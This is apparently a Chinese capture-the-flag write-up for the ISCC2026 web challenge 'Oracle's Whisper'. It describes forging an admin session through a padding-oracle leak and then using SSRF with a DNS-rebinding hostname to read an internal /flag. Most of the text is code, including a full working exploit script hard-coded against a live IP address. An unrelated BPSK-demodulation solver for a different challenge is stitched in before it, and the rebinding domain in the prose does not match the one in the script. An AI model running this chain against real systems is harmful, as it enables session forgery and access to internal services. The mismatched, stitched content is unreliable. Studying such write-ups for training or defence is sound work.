WEB-Oracle's Whisper
ISCC2026 WriteUp 提交模板
WEB-Oracle's Whisper
解题思路
1.查看网站
/robots.txt

暴露了 /graphql、/api/session/ 和 /api/webhook/,所以题目的主要攻击面很可能就在登录、会话和 webhook 三块。
访问下:/graphql

随便加个参数试一下:

可以直接看到后端存在 login(username, password) 这一类会话接口,因此下一步自然要检查会话 token 是否存在可利用的解密差异。
测试到 /api/session/decrypt 向它提交任意 token。观察到服务端返回 400 Bad Request 且正文是 {"error":"padding"},这说明后端把 CBC 解密后的 padding 校验结果泄露给了客户端,因此可以把这个接口当作标准 Padding Oracle 来用。既然 Oracle 已经成立,下一步就是逐块恢复中间值,再反推出我们想要的明文块。

2。求解
已知 AES-CBC 的块长是 16 字节,因此脚本里先把目标明文按块对齐。题目首页和文案一直围绕 oracle 这一身份展开,而 /api/profile、/api/webhook/test 又明显是受权限保护的接口,所以最自然的高权限目标就是 oracle/admin。进一步检查长度可以发现,{"user":"oracle" 正好 16 字节,,"role":"admin"} 也正好 16 字节,因此可以把真正有用的 JSON 放进第 2、3 块。
因为第 1 块会受到服务端固定 IV 的影响,不适合精确控制,所以脚本把第 4 块设成完整 padding 0x10 * 16,然后按 D(C4) -> C3、D(C3) -> C2、D(C2) -> C1 的顺序逆推。这样每一步都只依赖前一步已经恢复出的中间值,而不需要预先知道真正的密钥。完成这一步后,就能得到一个可直接放进 session Cookie 的管理员 token;带着它访问 /api/profile,立刻能拿到 internal_token 和内部模板服务地址,这正好指向下一步 SSRF。

利用链脚本就放到后面了。
3.已知 /api/profile 返回了 internal_endpoint: "http://internal-api:6000/cache/template" 和 internal_token,所以可以确认真正的敏感资源不在外部页面,而是在 6000 端口的内部模板服务。因为管理员还拥有 /api/webhook/test 这个“代发 HTTP 请求”的能力,所以下一步自然是让它代表我们访问内部接口。
既然内部接口本身就是 /cache/template,那读取 flag 时只需要把 name 参数替换成 /flag。主机名则使用 7f000001.01010101.rbndr.us,因为它可以在服务端解析到 127.0.0.1,同时又保留“外部域名”的外观,适合绕过只对字面 127.0.0.1/localhost 做拦截的 SSRF 检查。脚本把 X-Internal-Token 一并带上后,第一次命中就返回了模板内容,其中已经直接包含 flag,因此整题到这里结束。
顺便说一下,7f000001.01010101.rbndr.us域名可能会挂掉,有时需要修改为其他同样可以被解析为127.0.0.1的域名即可。
{"body":"{\"content\":\"ISCC{PnHCWSSKcJBm5M6ssZXV}\",\"name\":\"/flag\"}\n","status":200}
Exp
import argparse
import csv
import io
import math
import os
import re
import sys
import zipfile
import zlib
def read_bundle(path):
note_text = ""
csv_text = ""
if zipfile.is_zipfile(path):
with zipfile.ZipFile(path) as zf:
names = zf.namelist()
note_name = next((n for n in names if n.replace("\\", "/").endswith("rx_note.txt")), None)
csv_name = next((n for n in names if n.replace("\\", "/").endswith("array_iq.csv")), None)
if note_name is None or csv_name is None:
raise ValueError("missing rx_note.txt or array_iq.csv in archive")
note_text = zf.read(note_name).decode("utf-8", errors="replace")
csv_text = zf.read(csv_name).decode("utf-8", errors="replace")
elif os.path.isdir(path):
note_path = None
csv_path = None
for root, _, files in os.walk(path):
for name in files:
full = os.path.join(root, name)
if name == "rx_note.txt":
note_path = full
elif name == "array_iq.csv":
csv_path = full
if note_path is None or csv_path is None:
raise ValueError("missing rx_note.txt or array_iq.csv in directory")
with open(note_path, "r", encoding="utf-8", errors="replace") as f:
note_text = f.read()
with open(csv_path, "r", encoding="utf-8", errors="replace") as f:
csv_text = f.read()
else:
raise ValueError("input must be the challenge zip or extracted bundle directory")
return note_text, csv_text
def parse_note(note_text):
def grab(pattern, default=None, cast=float):
m = re.search(pattern, note_text, re.I)
if not m:
if default is None:
raise ValueError(f"missing parameter matching {pattern!r}")
return default
return cast(m.group(1))
sample_rate = grab(r"Sample\s+rate:\s*([0-9.]+)", cast=float)
symbol_rate = grab(r"symbol\s+rate:\s*([0-9.]+)", cast=float)
carrier = grab(r"offset\s+is\s+close\s+to\s*([+-]?[0-9.]+)", cast=float)
training = grab(r"first\s+([0-9]+)\s+recovered\s+symbols", default=80, cast=int)
lanes = grab(r"([0-9]+)\s*-\s*lane\s+column\s+DMA", default=16, cast=int)
return sample_rate, symbol_rate, carrier, training, lanes
def read_iq(csv_text):
samples = []
for row in csv.DictReader(io.StringIO(csv_text)):
samples.append(complex(float(row["i"]), float(row["q"])))
if not samples:
raise ValueError("empty I/Q CSV")
return samples
def lfsr_mask(seed, count):
state = seed & 0xFFFF
poly = 0x1D00
out = []
for _ in range(count):
out_bit = state & 1
feedback = (state & poly).bit_count() & 1
state = (state >> 1) | (feedback << 15)
out.append(out_bit)
return out
def hamming_codewords():
table = []
for n in range(16):
d1 = (n >> 3) & 1
d2 = (n >> 2) & 1
d3 = (n >> 1) & 1
d4 = n & 1
p1 = d1 ^ d2 ^ d4
p2 = d1 ^ d3 ^ d4
p4 = d2 ^ d3 ^ d4
table.append([p1, p2, d1, p4, d2, d3, d4])
return table
def hamming_decode(bits):
words = hamming_codewords()
nibbles = []
distances = []
for i in range(0, len(bits), 7):
word = bits[i:i + 7]
if len(word) < 7:
break
best_dist = 8
best_nibble = 0
for nibble, codeword in enumerate(words):
dist = sum(a != b for a, b in zip(word, codeword))
if dist < best_dist:
best_dist = dist
best_nibble = nibble
nibbles.append(best_nibble)
distances.append(best_dist)
data = bytearray()
for i in range(0, len(nibbles) - 1, 2):
data.append((nibbles[i] << 4) | nibbles[i + 1])
return bytes(data), distances
def undo_column_dma(bits, lanes):
rows = len(bits) // lanes
out = []
for row in range(rows):
for lane in range(lanes):
out.append(bits[lane * rows + row])
return out
def try_decode_payload(bits, training, lanes):
if len(bits) <= training + lanes * 7:
return None
sync_bits = bits[64:training]
if len(sync_bits) != 16:
return None
seed = int("".join(str(b) for b in sync_bits), 2)
payload = bits[training:]
block = lanes * 7
usable = (len(payload) // block) * block
payload = payload[:usable]
if not payload:
return None
max_skip = 256
mask = lfsr_mask(seed, usable + max_skip)
for skip in range(max_skip):
unmasked = [payload[i] ^ mask[i + skip] for i in range(usable)]
ordered = undo_column_dma(unmasked, lanes)
frame, distances = hamming_decode(ordered)
if len(frame) < 8 or not frame.startswith(b"BP1 "):
continue
body = frame[4:-4]
crc_tail = int.from_bytes(frame[-4:], "big")
crc_calc = zlib.crc32(body) & 0xFFFFFFFF
if crc_calc != crc_tail:
continue
text = body.decode("ascii", errors="strict")
if not re.fullmatch(r"[A-Za-z0-9_]+\{[^\r\n{}]+\}", text):
continue
hist = {}
for dist in distances:
hist[dist] = hist.get(dist, 0) + 1
return {
"flag": text,
"seed": seed,
"pn_skip": skip,
"payload_bits": usable,
"frame": frame,
"crc_tail": crc_tail,
"crc_calc": crc_calc,
"hamming_errors": hist,
}
return None
def demodulate(samples, sample_rate, symbol_rate, carrier, training, lanes):
sps = int(round(sample_rate / symbol_rate))
alt10 = [1 if i % 2 == 0 else 0 for i in range(64)]
alt01 = [1 - b for b in alt10]
two_pi = 2.0 * math.pi
for offset in range(sps):
symbols = []
for idx in range(offset, len(samples), sps):
angle = -two_pi * carrier * idx / sample_rate
symbols.append(samples[idx] * complex(math.cos(angle), math.sin(angle)))
if len(symbols) <= training:
continue
# BPSK has a 180 degree ambiguity. Squaring removes the sign and reveals phase.
phasor = sum(sym * sym for sym in symbols)
phase = 0.5 * math.atan2(phasor.imag, phasor.real)
rot = complex(math.cos(-phase), math.sin(-phase))
bits = [1 if (sym * rot).real < 0 else 0 for sym in symbols]
score10 = sum(bits[i] == alt10[i] for i in range(64))
score01 = sum(bits[i] == alt01[i] for i in range(64))
if score01 > score10:
bits = [1 - bit for bit in bits]
score10 = score01
if score10 < 60:
continue
result = try_decode_payload(bits, training, lanes)
if result is not None:
result["sps"] = sps
result["offset"] = offset
result["symbols"] = len(symbols)
result["training_score"] = score10
result["training_bits"] = "".join(str(bit) for bit in bits[:training])
return result
raise ValueError("flag not recovered")
def main():
parser = argparse.ArgumentParser(description="Solve Blind Phase Array from the original zip or extracted bundle.")
parser.add_argument("input", help="mangxiangzhenlie.zip or extracted bundle directory")
parser.add_argument("-v", "--verbose", action="store_true", help="print reproduction details")
args = parser.parse_args()
note_text, csv_text = read_bundle(args.input)
sample_rate, symbol_rate, carrier, training, lanes = parse_note(note_text)
samples = read_iq(csv_text)
result = demodulate(samples, sample_rate, symbol_rate, carrier, training, lanes)
if args.verbose:
print(f"samples = {len(samples)}")
print(f"sps = {result['sps']}")
print(f"symbol_offset = {result['offset']}")
print(f"symbols = {result['symbols']}")
print(f"training_score = {result['training_score']}/64")
print(f"training_bits = {result['training_bits']}")
print(f"sync_seed = 0x{result['seed']:04x}")
print(f"payload_bits = {result['payload_bits']}")
print(f"pn_skip = {result['pn_skip']}")
print(f"hamming_error_distribution = {result['hamming_errors']}")
print(f"frame_hex = {result['frame'].hex()}")
print(f"crc_calc = 0x{result['crc_calc']:08x}")
print(f"crc_tail = 0x{result['crc_tail']:08x}")
print(result["flag"])
if __name__ == "__main__":
sys.exit(main())
import base64
import json
import os
import time
import urllib.error
import urllib.request
from pathlib import Path
TARGET = "http://39.105.213.28:12605"
BS = 16
ARTIFACT_DIR = Path(__file__).resolve().parent / "artifacts"
ARTIFACT_DIR.mkdir(exist_ok=True)
LOG_PATH = ARTIFACT_DIR / "repro_run.log"
def log(message: str):
print(message)
with LOG_PATH.open("a", encoding="utf-8") as fp:
fp.write(message + "\n")
def b64u_enc(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
def http_post_json(path: str, payload: dict, headers: dict | None = None):
data = json.dumps(payload).encode()
req = urllib.request.Request(
TARGET + path,
data=data,
headers={"Content-Type": "application/json", **(headers or {})},
method="POST",
)
return urllib.request.urlopen(req, timeout=10)
def http_get(path: str, headers: dict | None = None):
req = urllib.request.Request(TARGET + path, headers=headers or {}, method="GET")
return urllib.request.urlopen(req, timeout=10)
def oracle(blob: bytes) -> bool:
token = b64u_enc(blob)
try:
with http_post_json("/api/session/decrypt", {"token": token}) as resp:
return resp.status != 400
except urllib.error.HTTPError as exc:
return exc.code != 400
except Exception:
return False
def discover_d(cipher_block: bytes) -> bytes:
assert len(cipher_block) == BS
d_block = bytearray(BS)
for pad in range(1, BS + 1):
idx = BS - pad
for guess in range(256):
forged = bytearray(BS)
for j in range(idx + 1, BS):
forged[j] = d_block[j] ^ pad
forged[idx] = guess
if oracle(bytes(forged) + cipher_block):
if pad == 1:
test = bytearray(forged)
test[idx - 1] ^= 1
if not oracle(bytes(test) + cipher_block):
continue
d_block[idx] = guess ^ pad
break
else:
raise RuntimeError(f"padding oracle failed at pad={pad}")
log(f"[+] recovered byte {pad}/16")
return bytes(d_block)
def xor_bytes(left: bytes, right: bytes) -> bytes:
return bytes(a ^ b for a, b in zip(left, right))
def forge_admin_token() -> str:
log("[*] forging oracle/admin session token")
p2 = b'{"user":"oracle"'
p3 = b',"role":"admin"}'
p4 = bytes([BS]) * BS
c4 = os.urandom(BS)
d4 = discover_d(c4)
c3 = xor_bytes(d4, p4)
d3 = discover_d(c3)
c2 = xor_bytes(d3, p3)
d2 = discover_d(c2)
c1 = xor_bytes(d2, p2)
token = b64u_enc(c1 + c2 + c3 + c4)
(ARTIFACT_DIR / "admin_token.txt").write_text(token, encoding="utf-8")
log("[+] forged admin token:")
log(token)
return token
def get_profile(admin_token: str) -> dict:
with http_get("/api/profile", headers={"Cookie": f"session={admin_token}"}) as resp:
return json.loads(resp.read().decode())
def hit_webhook(admin_token: str, internal_token: str):
payload = {
"url": "http://make-1.1.1.1-rebind-127.0.0.1-rr.1u.ms:6000/cache/template?name=/flag",
"method": "GET",
"headers": {"X-Internal-Token": internal_token},
}
return http_post_json(
"/api/webhook/test",
payload,
headers={"Cookie": f"session={admin_token}"},
)
def extract_flag_from_body(raw_body: bytes) -> str | None:
try:
body = json.loads(raw_body.decode())
nested = json.loads(body.get("body", "{}"))
content = nested.get("content", "")
if "ISCC{" in content:
return content.strip()
except Exception:
return None
return None
def main():
LOG_PATH.write_text("", encoding="utf-8")
admin_token = forge_admin_token()
profile = get_profile(admin_token)
profile_text = json.dumps(profile, ensure_ascii=False, indent=2)
(ARTIFACT_DIR / "profile.json").write_text(profile_text, encoding="utf-8")
log("[+] profile response:")
log(profile_text)
internal_token = profile["internal_token"]
log(f"[+] internal_token: {internal_token}")
flag = None
for attempt in range(1, 26):
try:
with hit_webhook(admin_token, internal_token) as resp:
raw = resp.read()
raw_text = raw.decode(errors="replace")
(ARTIFACT_DIR / f"webhook_attempt_{attempt:02d}.json").write_text(
raw_text, encoding="utf-8"
)
log(f"[+] webhook attempt {attempt} status={resp.status}")
log(raw_text)
flag = extract_flag_from_body(raw)
if flag:
(ARTIFACT_DIR / "flag.txt").write_text(flag, encoding="utf-8")
log(f"[+] flag: {flag}")
break
except urllib.error.HTTPError as exc:
body = exc.read().decode(errors="replace")
(ARTIFACT_DIR / f"webhook_attempt_{attempt:02d}_http_{exc.code}.txt").write_text(
body, encoding="utf-8"
)
log(f"[-] webhook attempt {attempt} http {exc.code}")
log(body)
except Exception as exc:
log(f"[-] webhook attempt {attempt} error: {exc}")
time.sleep(2)
if not flag:
raise SystemExit("flag not recovered; rerun the webhook stage")
if __name__ == "__main__":
main()

浙公网安备 33010602011771号